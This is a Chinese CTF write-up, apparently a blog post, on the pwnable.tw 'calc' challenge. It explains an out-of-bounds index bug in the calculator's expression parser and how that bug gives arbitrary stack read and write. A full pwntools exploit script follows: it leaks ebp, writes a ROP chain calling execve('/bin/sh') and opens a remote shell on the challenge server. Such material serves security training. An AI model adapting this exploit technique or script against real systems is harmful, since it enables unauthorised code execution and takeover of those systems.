pwnable.tw calc 经验总结

代码写的少, 弄清楚程序逻辑都得盯好久…

程序逻辑:
如题目名字所写, 程序的功能就是实现一个简单计算器的功能

相关函数介绍:

1.get_expr
在这里插入图片描述
函数功能为读取计算的表达式, 运算符只包括+ , - , *, /, %五种, 除了运算符和参加运算的数据之外的字符都不会被读取

2.parse_expr
在这里插入图片描述
函数功能为对表达式进行解析

传入的参数a1 为表达式的地址
a2 为calc函数中变量v1的地址
*a2 存放运算数的下标

在这里插入图片描述
在if 的检查中进行了unsigned int 类型转换, 如果为运算符则会进入语句块, 运算数则跳过语句块往下循环

运算的规则:
在这里插入图片描述
在这里插入图片描述
*a2 存放下标
a2[*a2] 当前读取的运算数
a2[*a2 - 1] 为前一次读取的运算数
运算时结果存放在a2[*a2 - 1] 中, 运算完毕后 *a2 - 1

漏洞点:
在这里插入图片描述
在这里插入图片描述
由于检查跳出循环的if 语句被放在了最后面, 这就造成了输入非法表达式也会被解析而不会报错, 利用这个非法表达式可以造成任意地址写

例如输入" +360 "
1. i = 0时, 检测到运算符"+", 进入语句块, 由于"+" 前面没有运算数, 所以v2 = 0, 进入语句块后起的唯一的作用就是将"+" 存入s[v7] 中

2. 接下来遍历360, 都是数字跳过语句块, i值增加

3. 表达式末尾’\0’, 符合条件进入语句块, atoi函数将"360", 转化为整数360, 符合if(v9 > 0) , 执行完下面两条语句后*a2 = 1, a2[0] = 1, a2[1] = 360, 之后进入switch语句的分支进行+运算
a2[*a2 - 1] += a2[*a2] 等价于
=> a2[0] += a2[1]
这就改变了下标的值, 造成数组越界,导致返回calc函数时可以利用printf 泄露地址

按照类似的逻辑也可以向任意地址写入任意的数据

漏洞利用:
在这里插入图片描述
观察程序的保护判断无法通过植入shellcode的方式getshell, 但是可以利用rop来getshell

.text:08049453 mov ebp, esp
.text:08049455 and esp, 0FFFFFFF0h
.text:08049458 sub esp, 10h

首先利用printf泄露栈上的地址, calc函数中的ebp为main函数中的ebp经过上面的操作后的数据, 利用printf泄露calc的ebp后进行逆运算可以求到main函数的ebp值, 计算好相关偏移,之后利用ROPgadget工具找到execve 需要的gadget , 再将这些gadget与相关参数写到栈上, 最后getshell

由于程序中对0进行了检查, 运算数中不能出现0, 所以无法直接向栈上写入0, 但是可以先泄露栈上的数据, 之后利用非法表达式减去相应的数据, 可以达到与写入0相同的效果

EXP:

from pwn import *
import struct

context(arch='i386', os='linux', log_level='debug')

debug = 1
d = 0

if debug == 0:
	p = process("./calc")
	if d == 1:
		gdb.attach(p)
else:
	p = remote("chall.pwnable.tw", 10100)

elf = ELF("./calc")

popedx = 0x080701aa
popeax = 0x0805c34b
popebx = 0x080481d1
popecxebx = 0x080701d1
int80 = 0x08049a21

payload = "+360" 
p.sendlineafter("=== Welcome to SECPROG calculator ===", payload)

p.recvline()
mebp = int(p.recvline()) & 0xffffffff
print "init_mebp-> " + hex(mebp)

mebp = (mebp + 0x10) & 0xfffffff0
mebp -= 2**32
print "mebp-> " + hex(mebp)

rop = [0x080701d1, 0, mebp - 0x4, 0x080701aa, 0, 0x0805c34b, 0xb, 0x08049a21, u32('/bin'), u32('/sh\0')]
for i in range(10):
	payload = "+" + str(360 + i + 1)
	if rop[i] == 0:
		p.sendline(payload)
		stack = int(p.recvline()) & 0xffffffff
		if stack != 0:
			print "stack-> " + hex(stack)
			payload += "-" + str(stack)
			p.sendline(payload)
			p.recvline()
	else:
		p.sendline(payload)
		stack = int(p.recvline()) & 0xffffffff
		print "pppr -> " + hex(stack)
		if stack != 0:
			payload += "-" + str(stack)
			p.sendline(payload)
			p.recvline()
		if i != 2:
			payload = "+" + str(360 + i + 1) + "+" + str(rop[i])
		else:
			payload = "+" + str(360 + i + 1) + str(rop[i])
		p.sendline(payload)
		p.recvline()
#	if i == 9:
#		raw_input()

p.sendline("Give me shell!")
p.interactive()

写exp过程中遇到的问题

1.栈上的数据 是以有符号数存在的, 泄露的ebp在发送时被当作无符号数发送,超过了有符号数的范围,导致getshell失败, 所以将ebp减去2的32次方转化为负数, 但是相关二进制位没有改变

2.4 个字节的负数 与 0xffffffff 进行&操作后会转化为正数

  1. 输入+360时会输出相应栈空间的数据, 输入+360+123在改变栈上数据后也会输出相应栈空间的数据, 需要处理

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值